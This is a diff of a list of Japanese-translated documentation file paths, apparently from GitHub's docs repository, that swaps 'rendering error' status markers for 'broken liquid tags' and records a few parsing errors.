-translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md,rendering error
-translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-powershell.md,rendering error
-translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-python.md,rendering error
-translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-ruby.md,rendering error
-translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-swift.md,rendering error
-translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md,rendering error
-translations/ja-JP/content/actions/creating-actions/about-custom-actions.md,rendering error
-translations/ja-JP/content/actions/creating-actions/creating-a-composite-action.md,rendering error
-translations/ja-JP/content/actions/creating-actions/creating-a-docker-container-action.md,rendering error
-translations/ja-JP/content/actions/creating-actions/creating-a-javascript-action.md,rendering error
-translations/ja-JP/content/actions/creating-actions/dockerfile-support-for-github-actions.md,rendering error
-translations/ja-JP/content/actions/creating-actions/index.md,rendering error
-translations/ja-JP/content/actions/creating-actions/metadata-syntax-for-github-actions.md,rendering error
-translations/ja-JP/content/actions/creating-actions/publishing-actions-in-github-marketplace.md,rendering error
-translations/ja-JP/content/actions/creating-actions/releasing-and-maintaining-actions.md,rendering error
-translations/ja-JP/content/actions/creating-actions/setting-exit-codes-for-actions.md,rendering error
-translations/ja-JP/content/actions/deployment/about-deployments/about-continuous-deployment.md,rendering error
-translations/ja-JP/content/actions/deployment/about-deployments/deploying-with-github-actions.md,rendering error
-translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md,rendering error
-translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md,rendering error
-translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md,rendering error
-translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md,rendering error
-translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md,rendering error
-translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md,rendering error
-translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md,rendering error
-translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md,rendering error
-translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md,rendering error
-translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/index.md,rendering error
-translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md,rendering error
-translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/index.md,rendering error
-translations/ja-JP/content/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md,rendering error
-translations/ja-JP/content/actions/deployment/index.md,rendering error
-translations/ja-JP/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md,rendering error
-translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md,rendering error
-translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md,rendering error
-translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md,rendering error
-translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md,rendering error
-translations/ja-JP/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md,rendering error
-translations/ja-JP/content/actions/guides.md,rendering error
-translations/ja-JP/content/actions/hosting-your-own-runners/about-self-hosted-runners.md,rendering error
-translations/ja-JP/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md,rendering error
-translations/ja-JP/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md,rendering error
-translations/ja-JP/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md,rendering error
-translations/ja-JP/content/actions/hosting-your-own-runners/index.md,rendering error
-translations/ja-JP/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md,rendering error
+translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md,broken liquid tags
+translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md,broken liquid tags
+translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md,broken liquid tags
+translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account.md,broken liquid tags
+translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md,broken liquid tags
+translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories.md,broken liquid tags
+translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md,broken liquid tags
+translations/ja-JP/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md,broken liquid tags
+translations/ja-JP/content/actions/creating-actions/about-custom-actions.md,broken liquid tags
+translations/ja-JP/content/actions/creating-actions/publishing-actions-in-github-marketplace.md,broken liquid tags
+translations/ja-JP/content/actions/hosting-your-own-runners/about-self-hosted-runners.md,broken liquid tags
 translations/ja-JP/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md,Listed in localization-support#489
-translations/ja-JP/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md,rendering error
-translations/ja-JP/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md,rendering error
-translations/ja-JP/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md,rendering error
-translations/ja-JP/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md,rendering error
+translations/ja-JP/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md,broken liquid tags
 translations/ja-JP/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md,Listed in localization-support#489
-translations/ja-JP/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md,rendering error
-translations/ja-JP/content/actions/index.md,rendering error
-translations/ja-JP/content/actions/learn-github-actions/contexts.md,rendering error
-translations/ja-JP/content/actions/learn-github-actions/creating-starter-workflows-for-your-organization.md,rendering error
-translations/ja-JP/content/actions/learn-github-actions/environment-variables.md,rendering error
-translations/ja-JP/content/actions/learn-github-actions/essential-features-of-github-actions.md,rendering error
-translations/ja-JP/content/actions/learn-github-actions/events-that-trigger-workflows.md,rendering error
-translations/ja-JP/content/actions/learn-github-actions/expressions.md,rendering error
-translations/ja-JP/content/actions/learn-github-actions/finding-and-customizing-actions.md,rendering error
-translations/ja-JP/content/actions/learn-github-actions/index.md,rendering error
-translations/ja-JP/content/actions/learn-github-actions/managing-complex-workflows.md,rendering error
-translations/ja-JP/content/actions/learn-github-actions/reusing-workflows.md,rendering error
-translations/ja-JP/content/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md,rendering error
-translations/ja-JP/content/actions/learn-github-actions/understanding-github-actions.md,rendering error
-translations/ja-JP/content/actions/learn-github-actions/usage-limits-billing-and-administration.md,rendering error
-translations/ja-JP/content/actions/learn-github-actions/using-starter-workflows.md,rendering error
-translations/ja-JP/content/actions/learn-github-actions/workflow-commands-for-github-actions.md,rendering error
-translations/ja-JP/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md,rendering error
-translations/ja-JP/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md,rendering error
-translations/ja-JP/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md,rendering error
-translations/ja-JP/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md,rendering error
-translations/ja-JP/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md,rendering error
-translations/ja-JP/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md,rendering error
-translations/ja-JP/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md,rendering error
-translations/ja-JP/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md,rendering error
-translations/ja-JP/content/actions/managing-workflow-runs/canceling-a-workflow.md,rendering error
-translations/ja-JP/content/actions/managing-workflow-runs/deleting-a-workflow-run.md,rendering error
-translations/ja-JP/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md,rendering error
-translations/ja-JP/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md,rendering error
-translations/ja-JP/content/actions/managing-workflow-runs/index.md,rendering error
-translations/ja-JP/content/actions/managing-workflow-runs/manually-running-a-workflow.md,rendering error
-translations/ja-JP/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md,rendering error
-translations/ja-JP/content/actions/managing-workflow-runs/removing-workflow-artifacts.md,rendering error
-translations/ja-JP/content/actions/managing-workflow-runs/reviewing-deployments.md,rendering error
-translations/ja-JP/content/actions/managing-workflow-runs/skipping-workflow-runs.md,rendering error
-translations/ja-JP/content/actions/migrating-to-github-actions/index.md,rendering error
-translations/ja-JP/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md,rendering error
-translations/ja-JP/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md,rendering error
-translations/ja-JP/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md,rendering error
-translations/ja-JP/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md,rendering error
-translations/ja-JP/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md,rendering error
-translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md,rendering error
-translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md,rendering error
-translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md,rendering error
-translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/index.md,rendering error
-translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md,rendering error
-translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md,rendering error
-translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md,rendering error
-translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md,rendering error
-translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md,rendering error
-translations/ja-JP/content/actions/publishing-packages/about-packaging-with-github-actions.md,rendering error
-translations/ja-JP/content/actions/publishing-packages/index.md,rendering error
-translations/ja-JP/content/actions/publishing-packages/publishing-docker-images.md,rendering error
-translations/ja-JP/content/actions/publishing-packages/publishing-java-packages-with-gradle.md,rendering error
-translations/ja-JP/content/actions/publishing-packages/publishing-java-packages-with-maven.md,rendering error
-translations/ja-JP/content/actions/publishing-packages/publishing-nodejs-packages.md,rendering error
-translations/ja-JP/content/actions/quickstart.md,rendering error
+translations/ja-JP/content/actions/learn-github-actions/finding-and-customizing-actions.md,broken liquid tags
+translations/ja-JP/content/actions/learn-github-actions/managing-complex-workflows.md,broken liquid tags
+translations/ja-JP/content/actions/managing-workflow-runs/removing-workflow-artifacts.md,broken liquid tags
+translations/ja-JP/content/actions/publishing-packages/about-packaging-with-github-actions.md,broken liquid tags
+translations/ja-JP/content/actions/quickstart.md,broken liquid tags
 translations/ja-JP/content/actions/security-guides/automatic-token-authentication.md,parsing error
-translations/ja-JP/content/actions/security-guides/encrypted-secrets.md,rendering error
-translations/ja-JP/content/actions/security-guides/security-hardening-for-github-actions.md,rendering error
-translations/ja-JP/content/actions/using-containerized-services/about-service-containers.md,rendering error
-translations/ja-JP/content/actions/using-containerized-services/creating-postgresql-service-containers.md,rendering error
-translations/ja-JP/content/actions/using-containerized-services/creating-redis-service-containers.md,rendering error
-translations/ja-JP/content/actions/using-github-hosted-runners/about-github-hosted-runners.md,rendering error
-translations/ja-JP/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md,rendering error
-translations/ja-JP/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md,rendering error
-translations/ja-JP/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md,rendering error
-translations/ja-JP/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/advanced-security/index.md,rendering error
-translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider.md,rendering error
-translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/disabling-unauthenticated-sign-ups.md,rendering error
-translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/index.md,rendering error
-translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-cas.md,rendering error
-translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap.md,rendering error
-translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md,rendering error
-translations/ja-JP/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md,rendering error
-translations/ja-JP/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md,rendering error
-translations/ja-JP/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/index.md,rendering error
-translations/ja-JP/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams.md,rendering error
-translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-user-provisioning-for-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md,rendering error
-translations/ja-JP/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md,rendering error
-translations/ja-JP/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md,rendering error
-translations/ja-JP/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md,rendering error
-translations/ja-JP/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md,rendering error
-translations/ja-JP/content/admin/configuration/configuring-network-settings/configuring-tls.md,rendering error
-translations/ja-JP/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md,rendering error
-translations/ja-JP/content/admin/configuration/configuring-network-settings/index.md,rendering error
-translations/ja-JP/content/admin/configuration/configuring-network-settings/network-ports.md,rendering error
-translations/ja-JP/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md,rendering error
-translations/ja-JP/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md,rendering error
-translations/ja-JP/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md,rendering error
-translations/ja-JP/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md,rendering error
-translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md,rendering error
-translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md,rendering error
-translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md,rendering error
-translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md,rendering error
-translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-time-synchronization.md,rendering error
-translations/ja-JP/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md,rendering error
-translations/ja-JP/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md,rendering error
-translations/ja-JP/content/admin/configuration/configuring-your-enterprise/index.md,rendering error
-translations/ja-JP/content/admin/configuration/configuring-your-enterprise/initializing-github-ae.md,rendering error
-translations/ja-JP/content/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md,rendering error
-translations/ja-JP/content/admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors.md,rendering error
-translations/ja-JP/content/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md,rendering error
-translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md,rendering error
-translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md,rendering error
-translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md,rendering error
-translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md,rendering error
-translations/ja-JP/content/admin/enterprise-management/configuring-clustering/about-clustering.md,rendering error
-translations/ja-JP/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md,rendering error
-translations/ja-JP/content/admin/enterprise-management/configuring-clustering/configuring-high-availability-replication-for-a-cluster.md,rendering error
-translations/ja-JP/content/admin/enterprise-management/configuring-clustering/index.md,rendering error
+translations/ja-JP/content/actions/using-github-hosted-runners/about-github-hosted-runners.md,broken liquid tags
+translations/ja-JP/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md,broken liquid tags
+translations/ja-JP/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md,broken liquid tags
+translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider.md,broken liquid tags
+translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md,broken liquid tags
+translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-user-provisioning-for-your-enterprise.md,broken liquid tags
+translations/ja-JP/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md,broken liquid tags
+translations/ja-JP/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md,broken liquid tags
+translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md,broken liquid tags
+translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md,broken liquid tags
+translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md,broken liquid tags
+translations/ja-JP/content/admin/configuration/configuring-your-enterprise/initializing-github-ae.md,broken liquid tags
+translations/ja-JP/content/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise.md,broken liquid tags
+translations/ja-JP/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md,broken liquid tags
+translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md,broken liquid tags
+translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md,broken liquid tags
+translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md,broken liquid tags
+translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md,broken liquid tags
 translations/ja-JP/content/admin/enterprise-management/configuring-clustering/monitoring-cluster-nodes.md,Listed in localization-support#489
 translations/ja-JP/content/admin/enterprise-management/configuring-clustering/monitoring-cluster-nodes.md,parsing error
-translations/ja-JP/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md,rendering error
-translations/ja-JP/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md,rendering error
-translations/ja-JP/content/admin/enterprise-management/configuring-high-availability/index.md,rendering error
-translations/ja-JP/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md,rendering error
-translations/ja-JP/content/admin/enterprise-management/monitoring-your-appliance/index.md,rendering error
-translations/ja-JP/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md,rendering error
-translations/ja-JP/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md,rendering error
-translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md,rendering error
-translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md,rendering error
-translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/index.md,rendering error
-translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123.md,rendering error
-translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md,rendering error
-translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md,rendering error
-translations/ja-JP/content/admin/enterprise-support/overview/about-github-enterprise-support.md,rendering error
-translations/ja-JP/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server.md,rendering error
-translations/ja-JP/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise.md,rendering error
-translations/ja-JP/content/admin/enterprise-support/overview/about-support-for-advanced-security.md,rendering error
-translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/index.md,rendering error
-translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/preparing-to-submit-a-ticket.md,rendering error
-translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/providing-data-to-github-support.md,rendering error
-translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/reaching-github-support.md,rendering error
-translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/submitting-a-ticket.md,rendering error
-translations/ja-JP/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md,rendering error
-translations/ja-JP/content/admin/github-actions/advanced-configuration-and-troubleshooting/index.md,rendering error
-translations/ja-JP/content/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md,rendering error
-translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md,rendering error
-translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md,rendering error
-translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage.md,rendering error
-translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/index.md,rendering error
-translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md,rendering error
-translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md,rendering error
-translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md,rendering error
-translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md,rendering error
-translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md,rendering error
-translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md,rendering error
-translations/ja-JP/content/admin/github-actions/index.md,rendering error
-translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md,rendering error
-translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md,rendering error
-translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md,rendering error
-translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md,rendering error
-translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md,rendering error
-translations/ja-JP/content/admin/github-actions/using-github-actions-in-github-ae/index.md,rendering error
-translations/ja-JP/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md,rendering error
-translations/ja-JP/content/admin/guides.md,rendering error
-translations/ja-JP/content/admin/installation/index.md,rendering error
-translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/index.md,rendering error
-translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md,rendering error
-translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md,rendering error
-translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md,rendering error
-translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md,rendering error
-translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md,rendering error
-translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md,rendering error
-translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-xenserver.md,rendering error
-translations/ja-JP/content/admin/overview/about-enterprise-accounts.md,rendering error
-translations/ja-JP/content/admin/overview/about-github-ae.md,rendering error
-translations/ja-JP/content/admin/overview/about-the-github-enterprise-api.md,rendering error
-translations/ja-JP/content/admin/overview/about-upgrades-to-new-releases.md,rendering error
-translations/ja-JP/content/admin/overview/system-overview.md,rendering error
-translations/ja-JP/content/admin/packages/configuring-package-ecosystem-support-for-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/packages/enabling-github-packages-with-aws.md,rendering error
-translations/ja-JP/content/admin/packages/enabling-github-packages-with-azure-blob-storage.md,rendering error
-translations/ja-JP/content/admin/packages/enabling-github-packages-with-minio.md,rendering error
-translations/ja-JP/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages.md,rendering error
-translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md,rendering error
-translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md,rendering error
+translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md,broken liquid tags
+translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md,broken liquid tags
+translations/ja-JP/content/admin/enterprise-support/overview/about-github-enterprise-support.md,broken liquid tags
+translations/ja-JP/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server.md,broken liquid tags
+translations/ja-JP/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise.md,broken liquid tags
+translations/ja-JP/content/admin/enterprise-support/overview/about-support-for-advanced-security.md,broken liquid tags
+translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/providing-data-to-github-support.md,broken liquid tags
+translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/reaching-github-support.md,broken liquid tags
+translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/submitting-a-ticket.md,broken liquid tags
